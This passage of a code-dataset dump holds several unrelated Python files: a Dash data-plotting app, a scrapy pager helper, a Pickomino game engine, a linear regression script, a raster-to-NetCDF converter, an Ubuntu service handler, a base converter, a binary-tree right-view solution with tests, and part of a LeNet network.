'left'})\r\n ], style={'display': 'flex'}),\r\n ],\r\n style={'margin-right': '19em'}\r\n ),\r\n dcc.DatePickerRange(\r\n id='daterng',\r\n style={'textAlign': 'right'}\r\n ),\r\n ], style={'padding-bottom': 20, 'display': 'flex'}),\r\n dcc.Tabs([\r\n dcc.Tab(label=\"Time Series\", children=[\r\n html.Div([\r\n html.Label(\"Y axis: \",\r\n style={\"color\": \"#000\",\r\n 'padding-top': 10,\r\n 'padding-left': 10}),\r\n dcc.Dropdown(id='timedata', style={'padding-left': 10, 'width': 250}),\r\n ], style={'display': 'flex', 'margin-top': 20}),\r\n dcc.Tabs([\r\n dcc.Tab(label=\"Scatter Plot\", children=[\r\n dcc.Graph(id='scatter-time')\r\n ]),\r\n dcc.Tab(label=\"Heatmaps\", children=[\r\n dcc.Graph(id='heat-time')\r\n ])\r\n ], style={'padding-top': 20})\r\n ]),\r\n dcc.Tab(label=\"Analytical\", children=[\r\n html.Div([\r\n html.Label(\"X axis: \",\r\n style={\"color\": \"#000\",\r\n 'padding-top': 15,\r\n 'margin-right': 10}),\r\n dcc.Dropdown(id='analydata1', style={'width': 250, 'margin-right': 50}),\r\n html.Label(\"Y axis: \",\r\n style={\"color\": \"#000\",\r\n 'padding-top': 15, 'margin-right': 10}),\r\n dcc.Dropdown(id='analydata2', style={'width': 250}),\r\n ], style={'display': 'flex', 'margin-top': 10}),\r\n dcc.Graph(id='scatter-analy')\r\n\r\n ]),\r\n # dcc.Tab(label=\"Charts\", children=[\r\n # dcc.Dropdown(id='chart-data',\r\n # options=[{'label': i, 'value': i} for i in ['Ground Temperature', 'Sky Temperature', 'Delta Temperature']],\r\n # value=\"Ground Temperature\"),\r\n # dcc.Graph(id='chart')\r\n # ])\r\n ])\r\n ])\r\n\r\n\r\napp.layout = layout()\r\n\r\n#\r\n@app.callback(\r\n [dash.dependencies.Output('timedata', 'value'),\r\n dash.dependencies.Output('timedata', 'options'),\r\n dash.dependencies.Output('analydata1', 'value'),\r\n dash.dependencies.Output('analydata1', 'options'),\r\n dash.dependencies.Output('analydata2', 'options'),\r\n dash.dependencies.Output('analydata2', 'value')],\r\n [dash.dependencies.Input('upload-data', 'contents'),\r\n dash.dependencies.Input('upload-data', 'filename'),\r\n dash.dependencies.Input('clear', 'n_clicks')])\r\ndef update_dropdown(data, fname, clear):\r\n df = parse_data(data, fname, clear)\r\n opt = df.columns[4:18]\r\n\r\n options = [{'label': i.replace(\"_\", \" \"), 'value': i} for i in opt]\r\n value = opt[0]\r\n\r\n return value, options, value, options, options, value\r\n\r\n\r\n@app.callback(\r\n [dash.dependencies.Output('daterng', 'min_date_allowed'),\r\n dash.dependencies.Output('daterng', 'max_date_allowed'),\r\n dash.dependencies.Output('daterng', 'start_date'),\r\n dash.dependencies.Output('daterng', 'end_date'),\r\n dash.dependencies.Output('daterng', 'with_portal')],\r\n [dash.dependencies.Input('upload-data', 'contents'),\r\n dash.dependencies.Input('upload-data', 'filename'),\r\n dash.dependencies.Input('clear', 'n_clicks')]\r\n)\r\ndef update_timerng(data, fname, clear):\r\n df = parse_data(data, fname, clear)\r\n thing = [dt.strptime(df.Date[0], \"%m/%d/%Y\"),\r\n dt.strptime(df.Date[len(df) - 1], \"%m/%d/%Y\"),\r\n dt.strptime(df.Date[0], \"%m/%d/%Y\").date(),\r\n dt.strptime(df.Date[len(df) - 1], \"%m/%d/%Y\").date(),\r\n True]\r\n return thing[0], thing[1], thing[2], thing[3], thing[4]\r\n\r\n\r\n@app.callback(\r\n dash.dependencies.Output('scatter-time', 'figure'),\r\n [dash.dependencies.Input('timedata', 'value'),\r\n dash.dependencies.Input('daterng', 'start_date'),\r\n dash.dependencies.Input('daterng', 'end_date'),\r\n dash.dependencies.Input('upload-data', 'contents'),\r\n dash.dependencies.Input('upload-data', 'filename'),\r\n dash.dependencies.Input('clear', 'n_clicks')]\r\n)\r\ndef time_scatter_plot(timedata, start, end, data, fname, clear):\r\n df = parse_data(data, fname, clear)\r\n start_date = dt.strptime(start, \"%Y-%m-%d\").strftime('%m/%d/%Y')\r\n end_date = dt.strptime(end, \"%Y-%m-%d\").strftime('%m/%d/%Y')\r\n\r\n s = getIndexes(df, start_date)[0][0]\r\n e = getIndexes(df, end_date)[0][0]\r\n\r\n hovertext = list()\r\n for yi, xi in zip(df[timedata][s:e], df.Date[s:e]):\r\n hovertext.append('{}: {}
    Date: {}'.format(timedata.replace(\"_\", \" \"), yi, xi))\r\n\r\n data = [{\r\n 'x': df.Date[s:e],\r\n 'y': df[timedata][s:e],\r\n 'mode': 'markers',\r\n 'marker': {'color': '#0897FF'},\r\n 'text': hovertext,\r\n 'hoverinfo': 'text',\r\n }]\r\n\r\n return {'data': data,\r\n 'layout': {'xaxis': {'nticks': 5,\r\n 'tickfont': {'size': 10, 'color': 'black'},\r\n 'title': \"Date\"},\r\n 'yaxis': {'title': timedata.replace(\"_\", \" \"),\r\n 'tickfont': {'size': 10, 'color': 'black'}},\r\n 'title': \"Time Series of {}\".format(timedata.replace(\"_\", \" \")),\r\n }\r\n }\r\n\r\n\r\n@app.callback(\r\n dash.dependencies.Output('heat-time', 'figure'),\r\n [dash.dependencies.Input('timedata', 'value'),\r\n dash.dependencies.Input('daterng', 'start_date'),\r\n dash.dependencies.Input('daterng', 'end_date'),\r\n dash.dependencies.Input('upload-data', 'contents'),\r\n dash.dependencies.Input('upload-data', 'filename'),\r\n dash.dependencies.Input('clear', 'n_clicks')]\r\n)\r\ndef time_heat_map(timedata, start, end, data, fname, clear):\r\n df = parse_data(data, fname, clear)\r\n s = getIndexes(df, dt.strptime(start, \"%Y-%m-%d\").strftime('%m/%d/%Y'))[0][0]\r\n e = getIndexes(df, dt.strptime(end, \"%Y-%m-%d\").strftime('%m/%d/%Y'))[0][0]\r\n\r\n delta = pd.to_datetime(df.Date[e]) - pd.to_datetime(df.Date[s])\r\n dates_in_year = [pd.to_datetime(df.Date[s]) + datetime.timedelta(i) for i in range(delta.days + 1)]\r\n\r\n hovertext = list()\r\n for yi, xi in zip(df[timedata][s:e], df.Date[s:e]):\r\n hovertext.append('{}: {}
    Date: {}'.format(timedata.replace(\"_\", \" \"), yi, xi))\r\n\r\n data = [go.Heatmap(\r\n x=df.Date[s:e],\r\n y=ones(len(dates_in_year)),\r\n z=df[timedata][s:e],\r\n colorscale='Jet',\r\n text=hovertext,\r\n hoverinfo='text',\r\n )]\r\n\r\n return {'data': data,\r\n 'layout': {'height': 500,\r\n 'width': 700,\r\n 'margin': {'l': 30, 'r': 0, 't': 100, 'b': 50},\r\n 'xaxis': {'nticks': 5,\r\n 'tickfont': {'size': 10, 'color': 'black'},\r\n 'title': \"Date\",\r\n 'showline': False,\r\n 'showgrid': False,\r\n 'zeroline': False},\r\n 'yaxis': {'tickvals': False,\r\n 'showline': False,\r\n 'showgrid': False,\r\n 'zeroline': False,\r\n 'visible': False},\r\n 'title': \"Time Series Heatmap of {}\".format(timedata.replace(\"_\", \" \"))}}\r\n\r\n\r\n@app.callback(\r\n dash.dependencies.Output('scatter-analy', 'figure'),\r\n [dash.dependencies.Input('analydata1', 'value'),\r\n dash.dependencies.Input('analydata2', 'value'),\r\n dash.dependencies.Input('daterng', 'start_date'),\r\n dash.dependencies.Input('daterng', 'end_date'),\r\n dash.dependencies.Input('upload-data', 'contents'),\r\n dash.dependencies.Input('upload-data', 'filename'),\r\n dash.dependencies.Input('clear', 'n_clicks')]\r\n)\r\ndef analy_scatter_plot(analydata1, analydata2, start, end, data, fname, clear):\r\n df = parse_data(data, fname, clear)\r\n start_date = dt.strptime(start, \"%Y-%m-%d\").strftime('%m/%d/%Y')\r\n end_date = dt.strptime(end, \"%Y-%m-%d\").strftime('%m/%d/%Y')\r\n\r\n s = getIndexes(df, start_date)[0][0]\r\n e = getIndexes(df, end_date)[0][0]\r\n\r\n hovertext = list()\r\n for yi, xi, zi in zip(df[analydata1][s:e], df[analydata2][s:e], df.Date[s:e]):\r\n hovertext.append(\r\n '{}: {}
    {}: {}
    Date: {}'.format(analydata1.replace(\"_\", \" \"), yi, analydata2.replace(\"_\", \" \"),\r\n xi, zi))\r\n\r\n data = [{\r\n 'x': df[analydata1][s:e],\r\n 'y': df[analydata2][s:e],\r\n 'mode': 'markers',\r\n 'marker': {'color': '#0897FF'},\r\n 'text': hovertext,\r\n 'hoverinfo': 'text',\r\n }]\r\n return {'data': data,\r\n 'layout': {'xaxis': {'tickfont': {'size': 10, 'color': 'black'},\r\n 'title': analydata1.replace(\"_\", \" \")},\r\n 'yaxis': {'title': analydata2.replace(\"_\", \" \"),\r\n 'tickfont': {'size': 10, 'color': 'black'}},\r\n 'title': \"Comparison between {} and {}\".format(analydata1.replace(\"_\", \" \"),\r\n analydata2.replace(\"_\", \" \"))}\r\n }\r\n\r\n\r\n# def charts():\r\n# start_date = dt.strptime(start, \"%Y-%m-%d\").strftime('%-m/%-d/%Y')\r\n# end_date = dt.strptime(end, \"%Y-%m-%d\").strftime('%-m/%-d/%Y')\r\n#\r\n# s = getIndexes(df, start_date)[0][0]\r\n# e = getIndexes(df, end_date)[0][0]\r\n#\r\n# data = [{\r\n# 'x': df[analydata1][s:e],\r\n# 'y': df[analydata2][s:e],\r\n# 'mode': 'markers',\r\n# 'marker': {'color': '#0897FF'},\r\n# }]\r\n# Run the Dash app\r\nif __name__ == '__main__':\r\n app.server.run(host='0.0.0.0', port=8080, threaded=True, debug=True)\r\n","repo_name":"physicsgoddess1972/Precipitable-Water-Model","sub_path":"src/util/web-app/pw_data_dash/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":21888,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"26099694904","text":"from minitools import next_page\n\n__all__ = ('next_page_request',)\n\n\ndef next_page_request(response, rule, **kwargs):\n request = response.request\n method = request.method\n if method == 'GET':\n return request.replace(url=next_page(response.url, rule, **kwargs))\n elif method == 'POST':\n return request.replace(\n body=next_page(response.body.decode(), rule, **kwargs).encode(),\n dont_filter=True)\n else:\n raise Exception('This Func just Support `GET`/`POST`!')\n","repo_name":"czasg/MiniTools","sub_path":"minitools/scrapy/__pager.py","file_name":"__pager.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"34552909616","text":"import os\n\nfrom random import randint\nfrom typing import List\nfrom xmlrpc.client import boolean\nfrom time import sleep\n\n\n\n\n\nclass Pickomino:\n \"\"\"Represent the game as a whole, we add the players apart\"\"\"\n\n def __init__(self, nb_player: int, short_game: boolean = False, nb_dice: int = 8):\n \"construct an instance of the pickomino\"\n\n # ---Rules---\n self.dice_number = nb_dice\n self.short_game = short_game\n self.tile_values = {}\n for i in range(21,25):\n self.tile_values[i] = 1\n for i in range(25,29):\n self.tile_values[i] = 2\n for i in range(29,33):\n self.tile_values[i] = 3\n for i in range(33,37):\n self.tile_values[i] = 4\n\n # ---State parameters---\n self.n: int = nb_player # number of player\n self.central_tiles: List[int] = list(range(21,37)) # central tiles\n self.players_stacks: List[List[int]] = [[] for _ in range(self.n)] # stack of each player\n self.dices_own: List[int] = []\n self.dices_thrown: List[int] = []\n self.choices: List[str] = []\n\n # ---Counters---\n self.current_turn: int = 0\n self.current_player: int = 0\n self.current_throw: int = 0\n\n def _state_reset(self):\n self.dices_own = []\n self.dices_thrown = []\n self.choices = []\n\n def _get_choices(self):\n if len(self.dices_thrown) != 0:\n return # choose a dice\n\n self.choices = [\"Pass\"]\n if len(self.dices_own) != self.dice_number:\n self.choices.append(\"Throw\")\n\n if self.dices_own.count(6) == 0: # you have no worms\n return\n\n dices_sum = sum(self.dices_own) - self.dices_own.count(6) # worms are worth only 5\n if dices_sum >= min(self.central_tiles):\n self.choices.append(\"Middle\") # Take the pickomino in the middle\n\n for i,s in enumerate(self.players_stacks):\n if i != self.current_player and len(s) != 0 and dices_sum == s[-1]:\n self.choices.append(\"Steal\") # Steal someone pickomino's\n\n\n def _pass(self):\n if len(self.players_stacks[self.current_player]) != 0:\n lost_tile = self.players_stacks[self.current_player].pop()\n\n if(lost_tile < max(self.central_tiles)):\n self.central_tiles.remove(max(self.central_tiles))\n\n if not self.short_game :\n self.central_tiles.append(lost_tile)\n return False # your turn stop\n\n def _throw(self):\n for _ in range(self.dice_number - len(self.dices_own)):\n self.dices_thrown.append(randint(1,6))\n\n for d in self.dices_thrown:\n if(d in self.dices_own or str(d) in self.choices):\n continue\n self.choices.append(str(d))\n\n if len(self.choices) == 0:\n return self._pass() # you have already all the dices you (rick)-rolled\n return True\n\n def _middle(self):\n dices_sum = sum(self.dices_own) - self.dices_own.count(6)\n closest_number = 0\n for i in self.central_tiles:\n if i > dices_sum or i < closest_number:\n continue\n closest_number = i\n\n self.central_tiles.remove(closest_number)\n self.players_stacks[self.current_player].append(closest_number)\n return False # your turn stop\n\n\n def _steal(self):\n dices_sum = sum(self.dices_own) - self.dices_own.count(6)\n bad_player = 0\n for player,s in enumerate(self.players_stacks):\n if len(s) != 0 and dices_sum == s[-1]:\n bad_player = player # the player your going to steal to\n\n self.players_stacks[self.current_player].append(self.players_stacks[bad_player].pop())\n return False # your turn stop\n\n\n def _numbers(self, wanted_dice):\n for _ in range(self.dices_thrown.count(wanted_dice)):\n self.dices_own.append(wanted_dice)\n\n if len(self.dices_own) == self.dice_number and self.dices_own.count(6) == 0:\n return self._pass() # on don't have warms in the dices you chose\n\n self.dices_thrown = []\n return True # your turn continue\n\n\n def _do_actions(self, action):\n if action not in self.choices :\n raise AssertionError(\"Not a valid action\")\n\n self.choices = []\n if action == \"Pass\":\n return self._pass()\n\n if action == \"Throw\":\n return self._throw()\n\n if action == \"Middle\":\n return self._middle()\n\n if action == \"Steal\":\n return self._steal()\n\n if action.isdigit():\n return self._numbers(int(action))\n\n\n\n def _generate_file(self, state_file, action_file):\n sf = open(state_file, \"w\")\n\n # Name of the file in which the action should be writen\n sf.write(action_file+\"\\n\")\n\n # Choices\n for c in self.choices:\n sf.write(str(c)+\" \")\n sf.write(\"\\n\")\n\n # Initially own dices\n for d in self.dices_own:\n sf.write(str(d)+\" \")\n sf.write(\"\\n\")\n\n # Thrown Dices\n for d in self.dices_thrown:\n sf.write(str(d)+\" \")\n sf.write(\"\\n\")\n\n # Central tiles\n for t in self.central_tiles:\n sf.write(str(t)+\" \")\n sf.write(\"\\n\")\n\n # Number of players\n sf.write(str(self.n)+\"\\n\")\n\n # Players stacks, the first tile of the statck is the one at the bottom\n for s in self.players_stacks:\n for p in s:\n sf.write(str(p)+\" \")\n sf.write(\"\\n\")\n\n sf.close()\n\n\n def display(self):\n \"\"\"Display the current state of the game\"\"\"\n\n print(\"Turn \" + str(self.current_turn))\n print(\"Player \" + str(self.current_player))\n print(\"Throw \"+ str(self.current_throw))\n print(\"central tiles : \" + str(self.central_tiles))\n print(\"players stacks : \")\n for s in self.players_stacks:\n print(str(s))\n print(\"dices own : \" + str(self.dices_own))\n print(\"dices thrown : \" + str(self.dices_thrown))\n print(\"choices : \" + str(self.choices))\n\n\n def next_play(self, players, root):\n \"\"\"Execute the next move of the right player and record stata/action in a file\"\"\"\n\n self._get_choices()\n\n # Generate current state file\n file_code = str(self.current_turn)+\"_\"+str(self.current_player)+\"_\"+str(self.current_throw)\n state_file = root + file_code + \"__state\"\n action_file = root + file_code + \"_action\"\n self._generate_file(state_file, action_file)\n\n # Launch the right player program on this state and get the action\n af = open(action_file, \"w\")\n if isinstance(players[self.current_player], str):\n os.system(players[self.current_player] + \" \" + state_file)\n sleep(5)\n else:\n p_action = players[self.current_player].get_action()\n af.write(p_action) # python class\n\n\n af = open(action_file, \"r\")\n action = af.read()\n\n # actualise the game\n keep_playing = self._do_actions(action)\n if keep_playing:\n self.current_throw +=1\n return\n\n ending_turn_file = root + file_code + \"_zending_state\"\n self._generate_file(ending_turn_file, action_file)\n self._state_reset()\n self.current_throw = 0\n self.current_player = (self.current_player+1)%self.n\n if self.current_player == 0:\n self.current_turn += 1\n\n def winning_player(self):\n scores = [0]*self.n\n for i,s in enumerate(self.players_stacks):\n scores[i] = sum([self.tile_values[t] for t in s])\n\n best_score = max(scores)\n winner = []\n for p,s in enumerate(scores):\n if s == best_score:\n winner.append(p)\n return winner\n","repo_name":"MattOPI/Pickomino","sub_path":"pickomino.py","file_name":"pickomino.py","file_ext":"py","file_size_in_byte":7888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27568854551","text":"#%%\r\nimport pandas as pd \r\nimport matplotlib.pyplot as plt\r\ndataset=pd.read_csv(\"height_weight.csv\")\r\nx=dataset.iloc[:,0:-1].values \r\ny=dataset.iloc[:,1:2].values\r\ndataset.fillna(dataset.mean(),inplace=True)\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nx_train, x_test, y_train, y_text = train_test_split(x, y, test_size=.20, random_state=0)\r\nfrom sklearn.linear_model import LinearRegression\r\nreg = LinearRegression()\r\nreg.fit(x_train,y_train)\r\nY_pred = reg.predict(x_test)\r\nmy_H=[[180]]\r\nprint(reg.predict(my_H))\r\nplt.title(\"simple linear regression\")\r\nplt.xlabel(\"Height\")\r\nplt.ylabel(\"Weight\")\r\nplt.scatter(x_train,y_train,color='red')\r\nplt.plot(x_train,reg.predict(x_train),color='blue')\r\nplt.show()\r\n# %%\r\n","repo_name":"PraveenGeek/ML","sub_path":"db2.py","file_name":"db2.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"40492410700","text":"import xarray as xr\nimport rioxarray as rio\nimport numpy as np\nimport click\nimport pyproj\n\ndef open_raster_img(img_path, reproj=True, method='nearest', resolution=None):\n \"\"\"Opens a raster image as an xarray DataArray object.\n\n This is a convenience function for opening a georeferenced raster image. The\n image must be in a gdal/rasterio supported format.\n\n Parameters\n ----------\n img_path : str\n path to raster image\n reproj : bool, optional\n Reproject directly to rectilinear latlon grid\n method : {nearest, bilinear}\n Interpolation method for reprojection.\n resolution : Tuple of float, optional\n Grid lonlat spacing in degrees.\n\n Returns\n -------\n img : xarray.DataArray\n Image as xarray object.\n \"\"\"\n img = rio.open_rasterio(img_path)\n crs = img.rio.crs\n img.name = 'img'\n proj = pyproj.Proj(crs)\n if reproj:\n resampling = 1 if method == 'bilinear' else 0\n img = img.rio.reproject(proj.to_latlong().to_proj4(),\n resampling=resampling,\n resolution=resolution)\n coords = ['x', 'y']\n for coord in coords:\n if (img[coord].diff(coord) < 0).any():\n img = img.sel(**{coord: img[coord][::-1]})\n if not reproj:\n x, y = np.meshgrid(img.x, img.y)\n lon, lat = proj(x, y, inverse=True)\n img.assign_coords(lat=(('y', 'x'), lat), lon=(('y', 'x'), lon))\n else:\n img = img.rename(x='lon', y='lat')\n return img.squeeze()\n\n\n@click.command()\n@click.option('--reproject/--no-reproject', default=True)\n@click.option('-m', '--method')\n@click.option('-r', '--resolution', type=(float, float))\n@click.argument('src')\n@click.argument('dst')\ndef img_to_nc(src, dst, reproject, method, resolution):\n img = open_raster_img(src, reproj=reproject, method=method,\n resolution=resolution).squeeze()\n img.to_netcdf(dst)\n print(f'{dst} saved.')\n \n","repo_name":"unity-sds/unity-analytics-sdap","sub_path":"img_to_nc/img_to_nc.py","file_name":"img_to_nc.py","file_ext":"py","file_size_in_byte":1982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37188431821","text":"from inmanta.agent.handler import ResourceHandler, provider\nfrom inmanta.resources import ResourceNotFoundExcpetion\n\n\n@provider(\"std::Service\", name=\"ubuntu_service\")\nclass UbuntuService(ResourceHandler):\n \"\"\"\n A handler for services on systems that use upstart\n \"\"\"\n\n def available(self, resource):\n return not self._io.file_exists(\"/bin/systemctl\") and (\n self._io.file_exists(\"/usr/lib/upstart\")\n or self._io.file_exists(\"/usr/sbin/update-rc.d\")\n )\n\n def check_resource(self, ctx, resource):\n current = resource.clone()\n style = \"\"\n if self._io.file_exists(\"/etc/init/%s.conf\" % resource.name):\n # new style (upstart)\n boot_config = self._io.run(\"/sbin/initctl\", [\"show-config\", resource.name])[\n 0\n ]\n current.onboot = \"start on \" in boot_config\n\n exists = self._io.run(\"/sbin/status\", [resource.name])\n if \"start\" in exists[0] or \"running\" in exists[0]:\n current.state = \"running\"\n else:\n current.state = \"stopped\"\n\n style = \"upstart\"\n\n elif self._io.file_exists(\"/etc/init.d/%s\" % resource.name):\n # old style\n current.onboot = (\n \"already exist\"\n in self._io.run(\n \"/usr/sbin/update-rc.d\", [\"-n\", resource.name, \"defaults\"]\n )[0]\n )\n\n if self._io.run(\"/etc/init.d/%s\" % resource.name, [\"status\"])[2] == 0:\n current.state = \"running\"\n else:\n current.state = \"stopped\"\n\n style = \"init\"\n else:\n raise ResourceNotFoundExcpetion(\n \"The %s service does not exist\" % resource.name\n )\n\n ctx.set(\"style\", style)\n return current\n\n def can_reload(self):\n \"\"\"\n Can this handler reload?\n \"\"\"\n return True\n\n def do_reload(self, ctx, resource):\n \"\"\"\n Reload this resource\n \"\"\"\n self._io.run(\"/usr/sbin/service\", [resource.name, \"restart\"])\n\n def do_changes(self, ctx, resource, changes):\n style = ctx.get(\"style\")\n\n # update-rc.d foobar defaults\n # update-rc.d -f foobar remove\n\n if (\n \"state\" in changes\n and changes[\"state\"][\"current\"] != changes[\"state\"][\"desired\"]\n ):\n action = \"start\"\n if changes[\"state\"][\"desired\"] == \"stopped\":\n action = \"stop\"\n\n # start or stop the service\n if style == \"upstart\":\n result = self._io.run(\"/sbin/%s\" % action, [resource.name])\n if result[2] > 0:\n raise Exception(\n \"Unable to %s %s: %s\" % (action, resource.name, result[1])\n )\n\n elif style == \"init\":\n result = self._io.run(\"/etc/init.d/%s\" % resource.name, [action])\n if result[2] > 0:\n raise Exception(\n \"Unable to %s %s: %s\" % (action, resource.name, result[1])\n )\n\n ctx.set_updated()\n\n if (\n \"onboot\" in changes\n and changes[\"onboot\"][\"current\"] != changes[\"onboot\"][\"desired\"]\n ):\n onboot = changes[\"onboot\"][\"desired\"]\n\n if style == \"upstart\":\n ctx.warn(\"Enabling or disabling boot for upstart jobs not supported\")\n\n elif style == \"init\":\n if onboot:\n self._io.run(\"/usr/sbin/update-rc.d\", [resource.name, \"defaults\"])\n else:\n self._io.run(\n \"/usr/sbin/update-rc.d\", [\"-f\", resource.name, \"remove\"]\n )\n\n ctx.set_updated()\n","repo_name":"inmanta/ubuntu","sub_path":"plugins/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22682606738","text":"def converter(a, b, c=10):\n hex = {'0': '0', '1': '1', '2': '2', '3': '3', '4': '4', '5': '5', '6': '6', '7': '7', '8': '8',\n '9': '9', 'A': '10', 'B': '11', 'C': '12', 'D': '13', 'E': '14', 'F': '15'}\n\n dictforhex1 = {10: \"A\", 11: \"B\", 12: \"C\", 13: \"D\", 14: \"E\", 15: \"F\"}\n\n length = len(a)\n result = 0\n\n for i in range(length):\n if a[i] in hex.keys():\n result += int(hex[a[i]]) * b ** (length - 1)\n length -= 1\n rem = ''\n while result > 0:\n asd = result % c\n if asd > 9:\n asd = dictforhex1[asd]\n result //= c\n rem += str(asd)\n else:\n result //= c\n rem += str(asd)\n return rem[::-1]\n\n\na = str(input(\"შეიყვანეთ ციფრი: \"))\nb = int(input(\"რომელ პოზიციურ სისტემაშია მოცემული რიცხვი? \"))\nc = int(input(\"რომელ პოზიციურ სისტემაში გსურთ გადაიყვანოთ ეს რიცხვი? \"))\n\nprint(converter(a, b, c))\n\n","repo_name":"tsnini/AlgoForConvert","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"ka","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9167153578","text":"'''\nhttps://leetcode.com/problems/binary-tree-right-side-view/\n'''\n\n\nimport collections\nfrom dataclasses import dataclass\n\nimport pytest\n\n\n@dataclass\nclass TreeNode:\n val: int\n left: 'TreeNode' = None\n right: 'TreeNode' = None\n\n\ndef level_order_traverse(root: TreeNode) -> list[int]:\n '''\n Does an iterative BFS level-order traversal to `root` from left to right,\n and returns the visible nodes from the right.\n\n O(n) time\n\n O(n) space\n '''\n # edge case, if tree is empty\n if root is None:\n return []\n\n # queue of nodes in current level,\n # starting with the root\n current_level_queue = collections.deque([root])\n # queue of nodes in next level\n next_level_queue = collections.deque()\n\n visible_node_values = []\n\n while len(current_level_queue) > 0:\n # current node is first from current queue\n node = current_level_queue.popleft()\n\n # enqueue node's children, if any, in this order\n if node.left:\n next_level_queue.append(node.left)\n if node.right:\n next_level_queue.append(node.right)\n\n # if there are no more nodes in current level\n # then current node is its last one,\n # in this case the right-most one too\n # because it's a left to right traversal\n if len(current_level_queue) == 0:\n # swap queues to start visiting next level\n current_level_queue = next_level_queue\n next_level_queue = collections.deque()\n \n visible_node_values.append(node.val)\n \n return visible_node_values\n\n\ndef recursive_dfs(root: TreeNode) -> int:\n '''\n Does a recursive DFS starting with left child subtree.\n\n O(n) time\n\n O(n) space\n '''\n # edge case, if tree is empty\n if root is None:\n return []\n\n visible_node_values = []\n\n def add_rightmost(node: TreeNode, level: int) -> None:\n '''\n Adds `node` to `visible_node_values` list if it's the right-most node in `level`.\n '''\n # if level is greater than count of visible nodes from upper levels,\n # it means that current node is the first visited one of that level,\n # since the count of visible nodes is the depth of the tree\n if level > len(visible_node_values):\n visible_node_values.append(node.val)\n\n # explore right subtree first, if exists\n if node.right:\n add_rightmost(node.right, level + 1)\n # then left subtree, if exists\n if node.left:\n add_rightmost(node.left, level + 1)\n\n add_rightmost(root, 1)\n return visible_node_values\n\n\nroot_1 = TreeNode(1)\nroot_1.left = TreeNode(2)\nroot_1.right = TreeNode(3)\nroot_1.left.right = TreeNode(5)\nroot_1.right = TreeNode(3)\nroot_1.right.right = TreeNode(4)\n\nroot_2 = TreeNode(8)\nroot_2.left = TreeNode(3)\nroot_2.right = TreeNode(10)\nroot_2.left.left = TreeNode(1)\nroot_2.left.right = TreeNode(6)\nroot_2.left.right.left = TreeNode(4)\nroot_2.left.right.right = TreeNode(7)\nroot_2.right.right = TreeNode(14)\nroot_2.right.right.left = TreeNode(13)\n\nroot_3 = TreeNode(1)\nroot_3.right = TreeNode(3)\n\nroot_4 = None\n\n@pytest.mark.parametrize(\n ('method'), (\n level_order_traverse,\n recursive_dfs\n )\n)\n@pytest.mark.parametrize(\n ('root', 'nodes'), (\n (root_1, [1, 3, 4]),\n (root_2, [8, 10, 14, 13]),\n (root_3, [1, 3]),\n (root_4, [])\n )\n)\ndef test(method, root: TreeNode, nodes: list[int]) -> None:\n assert method(root) == nodes\n","repo_name":"netotz/codecamp","sub_path":"leetcode/199_right_view.py","file_name":"199_right_view.py","file_ext":"py","file_size_in_byte":3517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41667816962","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nfrom nn_ops import NN as nn\n\n\nclass LeNet(object):\n '''\n @description: 构建LeNet网络模型,实现网络前向传播,后向传播,参数更新,、\n 计算损失loss,计算准确率\n '''\n def __init__(self,input_params,conv_params,pool_params,full_params,\\\n output_params,optimizer='normal'):\n '''\n @description: 网络参数初始化\n @params: \n - input_params: 网络输入层的参数\n - conv_params: 卷积层参数,包括卷积核大小,步长,pad,卷积核数量\n - pool_params: pooling层参数,包括pool window大小,步长,pad\n - full_params: 全连接层的参数\n - output_params:输出层的参数,包括分类数\n - optimizer: 网络参数优化方法,'normal'对应SGD优化方法,\\\n 'Momentum'对应SGD+动量项(momentum),默认为'normal'\n @return: \n '''\n self._input_height = input_params[0]\n self._input_width = input_params[1]\n self._input_channels = input_params[2]\n self._conv_ksize = conv_params['ksize']\n self._conv_stride = conv_params['stride']\n self._conv_pad = conv_params['pad']\n self._conv_num = conv_params['num']\n self._pool_ksize = pool_params['ksize']\n self._pool_stride = pool_params['stride']\n self._pool_pad = pool_params['pad']\n \n self._full_params = full_params\n self._output_params = output_params\n \n self._weights = {}\n self._biases = {}\n self._weights[1] = np.random.normal(0.0,0.01,(self._conv_ksize[0],\\\n self._conv_ksize[1],self._input_channels,self._conv_num))\n self._weights[4] = np.random.normal(0.0,0.01,(self._full_params[0],self._full_params[1]))\n self._weights[5] = np.random.normal(0.0,0.01,(self._output_params[0],self._output_params[1]))\n self._biases[1] = np.zeros(self._conv_num)\n self._biases[4] = np.zeros(self._full_params[1])\n self._biases[5] = np.zeros(self._output_params[1])\n \n self._grad_weights = {}\n self._grad_biases = {}\n self._grad_weights[1] = np.zeros_like(self._weights[1])\n self._grad_weights[4] = np.zeros_like(self._weights[4])\n self._grad_weights[5] = np.zeros_like(self._weights[5])\n self._grad_biases[1] = np.zeros_like(self._biases[1])\n self._grad_biases[4] = np.zeros_like(self._biases[4])\n self._grad_biases[5] = np.zeros_like(self._biases[5])\n \n self._optimizer = optimizer\n \n if self._optimizer == 'Momentum':\n self._v_weights = {}\n self._v_biases = {}\n self._v_weights[1] = np.zeros_like(self._weights[1])\n self._v_weights[4] = np.zeros_like(self._weights[4])\n self._v_weights[5] = np.zeros_like(self._weights[5])\n self._v_biases[1] = np.zeros_like(self._biases[1])\n self._v_biases[4] = np.zeros_like(self._biases[4])\n self._v_biases[5] = np.zeros_like(self._biases[5])\n \n self._x = {}\n self._delta = {}\n \n def forward(self,x):\n \n self._x[1] = x\n \n self._x[2] = nn.relu(nn.conv2d(self._x[1],self._weights[1],\\\n 